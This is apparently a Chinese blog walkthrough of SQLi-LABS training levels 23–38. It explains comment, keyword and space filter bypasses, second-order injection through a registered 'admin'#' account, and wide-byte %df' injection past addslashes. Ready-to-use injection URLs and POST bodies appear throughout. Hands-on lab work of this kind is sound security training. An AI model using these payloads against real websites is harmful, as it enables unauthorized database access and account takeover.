SQLi-LABS Page-2 (Adv Injections)less 23-38注入教程

less 23 GET - Error based - strip comments 基于错误的,过滤注释的GET型
在源码中有这么一段话,过滤了#和--,替换成‘ ’,要想绕过注释过滤,那就只能闭合绕过,多行注释符好像不行
$reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);
放一个开头上来 http://sql/Less-23/?id=-1%27union%20select%201,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%203,1),%273

less-24 - Second Degree Injections Real treat -Store Injections 二次注入
这一关有点特别,假设于真的登录网站,通过审计发现,在pass-change的username里是没有过滤的$username= $_SESSION["username"];,可以从这里入手。而要进入
pass-change 需要logged-in页面下的<form name="mylogin" method="POST" action="pass_change.php">也就是说要先登录进去才可以。所以为了绕过过滤,先注册一个 admin'# 并设置密码为a。在登录进入之后,更新密码为b,退出。此时便已经完成了注入。重新登录时,用admin;b登录即可!
在此题中需注意后台代码的审计和绕过,注意username和password的审计和缺点,仔细思考漏洞存在和可以利用的地方!
`$username= $_SESSION["username"]; (未过虑账户名)
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{   
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";`(在此处可以利用username=admin'#完成注入)

less 25 报错注入Trick with OR & AND 过滤了or和and
这一关还是比较简单的,全部过滤了and or ,只要注意在拼接语句的时候把出现了orand的单词的多打一次就好(双写绕过),example or=>oorr,and=>anandd。
放一串开头的,剩下的自己想http://sql/Less-25/?id=-1' union select 1,2,table_name from infoorrmation_schema.tables where table_schema=0x7365637572697479 limit 0,1 %23

less 25 盲注Trick with OR & AND 过滤了or和and
在盲注里要判断是否过滤and or 只需要在id=and1,来试探即可。
剩下的都跟25一样

less 26 Trick with comments and space (过滤了注释和空格的注入)
源码$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive) $id= preg_replace('/[\/\*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out -- $id= preg_replace('/[#]/',"", $id); //Strip out # $id= preg_replace('/[\s]/',"", $id); //Strip out spaces $id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes return $id;可以说常规的注释方法已经没用了,这时候我们就应该想着闭合语句,而不仅仅是注释掉后面的语句。对于空格,emmmm,要不我们还是想想sqlmap吧,为啥我的空格转译都不行嘞=-=

less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)
一样样。。。

less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)
通过基础测试发现空格被过滤了,大小写替换没有过滤,这里环境不行,空格不能转义,我就放一个开头代码,剩下的自己试吧?id='%a0uNion%a0sElect(1),(database()),(3) or (1)='1

less 27a GET - Blind Based- All your UNION & SELECT belong to us 同上,盲注版
?id=1"and(length(database())>7)%a0uNion%a0sELect%a01,2,"3

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于错误的,有括号的单引号字符型,过滤了union和select等的注入
可惜%a0在我这环境里面都用不了 =-=
那我就假装可以用好了!放一个开头用的,老规矩,剩下的自己弄union%a0SELECT%a01,TABLE_NAME,3%a0FROM%a0INFORMATION_SCHEMA.TABLES%a0WHERE%a0TABLE_SCHEMA=0x7365637572697479

less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括号的单引号字符型,过滤了union和select等的注入
老规矩了。。。我这不行,盲注的话可以自己sqlmap跑起来。

Less - 29 Protection with WAF 用WAF防护
相当于在实战中遇到的防火墙了。。这个有点简单啊
随手打个http://sql/Less-29/?id=-1%27union%20select%201,2,database()%20%23就试探出来了。。那就再来一个剩下的老规矩http://sql/Less-29/?id=-1%27union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%23

Less - 30 waf的盲注
跟上题一样,就是单引号变成双引号
http://sql/Less-30/?id=1%22and%201=1%23

Less - 31 一样的,手工进行判断,发现用“ ") ”来绕过,具体的就不多说了
http://sql/Less-31/?id=-1%22)%20union%20select%201,2,database()%20%23

Less - 32 Bypass custom filter adding slashe 在每个单引号前加/
在这里把 “'” 转译成了“/'” 所以可以用宽字节注入%df'
来一套就可以看出效果来了http://sql/Less-32/?id=-1%df%27union%20select%201,2,database()%20%23

Less - 33 Bypass AddSlashes() 都一样的,懒得弄了
http://sql/Less-33/?id=-1%df%27%20union%20select%201,2,database()%20%23

Less - 34 Bypass AddSlashes() 这题是登录的形式,首先想到的就是用burp,在用了 ‘ ' ’之后,发现变成了“ / ' ”, 所以用宽字节注入%df
放一段,剩下的自己弄呗,要注意这里order by 只有2 uname=1%df'union select 1,database() %23&passwd=1&submit=Submit

Less - 35 why care for addslashes() 这道题中在输入了‘ 1' ’后发现,单引号被转译“/'’” 并且报错里发现You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 说明在后台里面id周围没有引号,所以直接干!剩下自己想去,套路都一样http://sql/Less-35/?id=1%20order%20by%203%20%23
http://sql/Less-35/?id=-1%20union%20select%201,2,database()%20%23

Less - 36 Bypass MySQL Real Escape String 绕过 MySQL_real_escape_string
发现都是一样的套路啊,转译了单引号。。其他的都一样http://sql/Less-36/?id=1%df%27and%201=2%20%23

Less - 37 POST- Bypass MySQL Real Escape String 绕过 MySQL_real_escape_string 用post的方式,直接用burp然后拼接语句
uname=1%df'or 1=1 %23&passwd=1&submit=Submit可以发现跟35是一样的方法,不赘述了

Less - 38 在进行输入“ 1' ” 的时候,发现报错这样“
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1” 说明 1 旁边多了一个引号,那么该拼接这么一个语句http://sql/Less-38/?id=1%27%20and%20%271%27=%272来闭合后面的单引号 从而注入,后面就简单了,自己做。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,383评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,522评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,852评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,621评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,741评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,929评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,076评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,803评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,265评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,582评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,716评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,395评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,039评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,027评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,488评论 2 361
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,612评论 2 350

推荐阅读更多精彩内容